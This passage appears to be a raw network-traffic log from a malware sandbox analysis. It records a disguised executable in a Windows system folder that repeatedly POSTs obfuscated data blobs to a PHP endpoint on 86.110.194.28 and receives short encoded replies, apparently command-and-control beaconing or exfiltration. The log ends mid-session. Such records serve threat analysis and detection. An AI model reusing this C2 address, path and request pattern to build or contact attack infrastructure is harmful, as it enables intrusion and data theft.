Jan 3, 2025 18:28:38.580750942 CET	2576	OUT	Data Raw: 5e 57 5b 5a 58 59 55 58 54 5b 59 5a 5b 56 57 53 5f 53 5a 55 52 55 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W[ZXYUXT[YZ[VWS_SZURUPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&<-.!$T&/<C)]-%75Z'?"U#37&?#(9#Y'$X.%
Jan 3, 2025 18:28:38.912173033 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:39.049067974 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	57425	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:39.177880049 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:39.533890009 CET	2576	OUT	Data Raw: 5e 56 5b 58 58 5a 55 58 54 5b 59 5a 5b 54 57 53 5f 56 5a 59 52 50 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^V[XXZUXT[YZ[TWS_VZYRPP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&)=.");&,<E=;6^3$2W"=U48$['90Y,S?9#Y'$X.-
Jan 3, 2025 18:28:39.885056973 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:40.140800953 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T
Jan 3, 2025 18:28:40.140847921 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	57432	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:40.278831959 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2564 Expect: 100-continue
Jan 3, 2025 18:28:40.627597094 CET	2564	OUT	Data Raw: 5b 5d 5b 5b 5d 5d 55 5f 54 5b 59 5a 5b 57 57 5b 5f 50 5a 5b 52 57 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [][[]]U_T[YZ[WW[_PZ[RWPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@(=!;%?$]['%]%*6B"!8'0),38T<9#Y'$X.1
Jan 3, 2025 18:28:40.982593060 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:41.134449959 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	57436	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:41.257293940 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:41.611959934 CET	2576	OUT	Data Raw: 5b 54 5e 5f 58 5d 55 5c 54 5b 59 5a 5b 54 57 52 5f 52 5a 5b 52 53 50 42 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [T^_X]U\T[YZ[TWR_RZ[RSPB_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(1Z6:?1</=-07*&%"4#((Y$4D'<0W+#Y'$X.-
Jan 3, 2025 18:28:41.974958897 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:42.111856937 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	57437	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:42.285542011 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:42.644687891 CET	2576	OUT	Data Raw: 5e 52 5e 59 5d 5a 55 5c 54 5b 59 5a 5b 5f 57 52 5f 51 5a 59 52 51 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R^Y]ZU\T[YZ[_WR_QZYRQPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&(>!]6 T$,A>820-%W"$ ^ 09$C0?#Y'$X.
Jan 3, 2025 18:28:42.976512909 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:43.106259108 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	57438	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:43.255465984 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:43.611938953 CET	2576	OUT	Data Raw: 5b 57 5e 51 5d 59 50 5a 54 5b 59 5a 5b 5e 57 5f 5f 57 5a 5f 52 54 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [W^Q]YPZT[YZ[^W__WZ_RTP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&B(X2!\,&<$D>]!0)[&,!W!-W70'0(#Y'$X.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	57439	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:43.946012020 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2140 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:44.299494982 CET	2140	OUT	Data Raw: 5b 54 5e 5e 58 57 50 5b 54 5b 59 5a 5b 53 57 5b 5f 56 5a 59 52 53 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [T^^XWP[T[YZ[SW[_VZYRSPI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%).)!9'1,=6_'46&,*"7%W ^ '98E$?(9#Y'$X.1
Jan 3, 2025 18:28:44.637290001 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:44.768359900 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:44 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 59 25 2b 0b 02 3d 2c 33 12 31 0d 32 07 22 30 33 00 2c 30 25 19 21 02 0f 5b 27 28 24 56 2b 3d 2e 42 28 0d 39 54 20 3d 32 0b 3c 30 28 5d 03 10 3a 03 3c 3e 30 02 28 2e 03 1b 2e 34 20 07 30 27 34 12 3e 0a 22 0c 27 3f 25 0d 36 04 27 53 3e 33 39 10 33 02 38 17 2a 20 24 07 30 2d 20 54 0b 17 27 51 26 30 20 01 27 28 35 1f 3e 19 30 10 26 3a 3d 52 35 05 36 1b 20 39 0a 17 2f 30 2d 54 24 06 0b 53 3e 00 3f 54 24 2a 22 5a 33 3b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $Y%+=,312"03,0%!['($V+=.B(9T =2<0(]:<>0(..4 0'4>"'?%6'S>3938* $0- T'Q&0 '(5>0&:=R56 9/0-T$S>?T$*"Z3;.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	57440	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:44.071118116 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:44.424407005 CET	2576	OUT	Data Raw: 5b 51 5e 59 58 56 55 5d 54 5b 59 5a 5b 52 57 5f 5f 5d 5a 5d 52 52 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [Q^YXVU]T[YZ[RW__]Z]RRPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@?=>"T2Z/>>$$-2<)V!" 8[$)B03<9#Y'$X.5
Jan 3, 2025 18:28:44.782955885 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:44.914376020 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	57441	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:45.047988892 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:45.400477886 CET	2576	OUT	Data Raw: 5b 56 5e 51 58 5e 55 5f 54 5b 59 5a 5b 55 57 53 5f 5d 5a 5d 52 55 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [V^QX^U_T[YZ[UWS_]Z]RUPC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<-*":(10C)6Z$7:%?9V"'9U#(3'<$<S<)#Y'$X.)
Jan 3, 2025 18:28:45.762392998 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:45.894072056 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	57442	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:46.095597029 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:46.440026999 CET	2576	OUT	Data Raw: 5e 55 5e 5f 58 5d 55 58 54 5b 59 5a 5b 50 57 5d 5f 56 5a 55 52 55 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^U^_X]UXT[YZ[PW]_VZURUPI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&D(X=\"9$R%<?*507"&,!R6)W ^7'(E3/U<)#Y'$X.
Jan 3, 2025 18:28:46.784058094 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:46.914174080 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	57443	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:47.083113909 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:47.441670895 CET	2576	OUT	Data Raw: 5e 50 5e 58 58 5a 55 58 54 5b 59 5a 5b 52 57 5f 5f 52 5a 5b 52 5c 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^P^XXZUXT[YZ[RW__RZ[R\PI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&A+&5,T$?0=+_$49&?>6%Q %9<D&/#+9#Y'$X.5
Jan 3, 2025 18:28:47.806369066 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:47.939006090 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	57444	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:48.111759901 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:48.455688000 CET	2576	OUT	Data Raw: 5b 53 5b 58 5d 5c 50 50 54 5b 59 5a 5b 5e 57 5d 5f 56 5a 59 52 56 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S[X]\PPT[YZ[^W]_VZYRVPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+=1"*8%Z,A)+"0:%54940]$)/$Y8W?9#Y'$X.
Jan 3, 2025 18:28:48.830851078 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:48.962105036 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	57445	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:49.139945984 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:49.486886978 CET	2576	OUT	Data Raw: 5e 50 5b 5b 5d 5d 50 58 54 5b 59 5a 5b 52 57 5c 5f 52 5a 5d 52 55 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^P[[]]PXT[YZ[RW\_RZ]RUPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@?-5:?&,<@>09['?%Q6. 0['9 B&?$)9#Y'$X.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	57446	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:49.791121006 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:50.143135071 CET	2164	OUT	Data Raw: 5b 55 5e 51 58 5d 50 51 54 5b 59 5a 5b 50 57 5a 5f 51 5a 5e 52 54 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [U^QX]PQT[YZ[PWZ_QZ^RTPI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(=!9;$<<)+>X0$%5R" $\'&<'(#Y'$X.
Jan 3, 2025 18:28:50.508383989 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:50.648113966 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 59 26 3b 35 03 2a 01 2b 5f 31 0d 31 11 22 09 38 5c 2f 20 2a 06 21 02 2d 58 32 05 33 0e 3c 03 3e 08 2b 1d 25 1d 23 3e 3d 1e 29 30 28 5d 03 10 39 10 3f 03 2f 5c 3d 00 03 5f 2c 37 3f 5a 25 27 38 58 2a 20 31 1d 31 3c 29 0e 22 5b 3b 1d 29 23 0b 5a 24 28 27 06 28 33 2b 1d 27 17 20 54 0b 17 24 0f 24 09 2f 13 25 5e 3d 5c 29 51 27 04 33 39 22 0e 23 2c 22 52 37 00 27 07 38 20 35 1e 30 01 2a 0b 29 58 3f 1f 25 04 29 01 30 11 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $Y&;5+_11"8\/ !-X23<>+%#>=)0(]9?/\=_,7?Z%'8X* 11<)"[;)#Z$('(3+' T$$/%^=\)Q'39"#,"R7'8 50*)X?%)0.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	57447	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:49.947344065 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
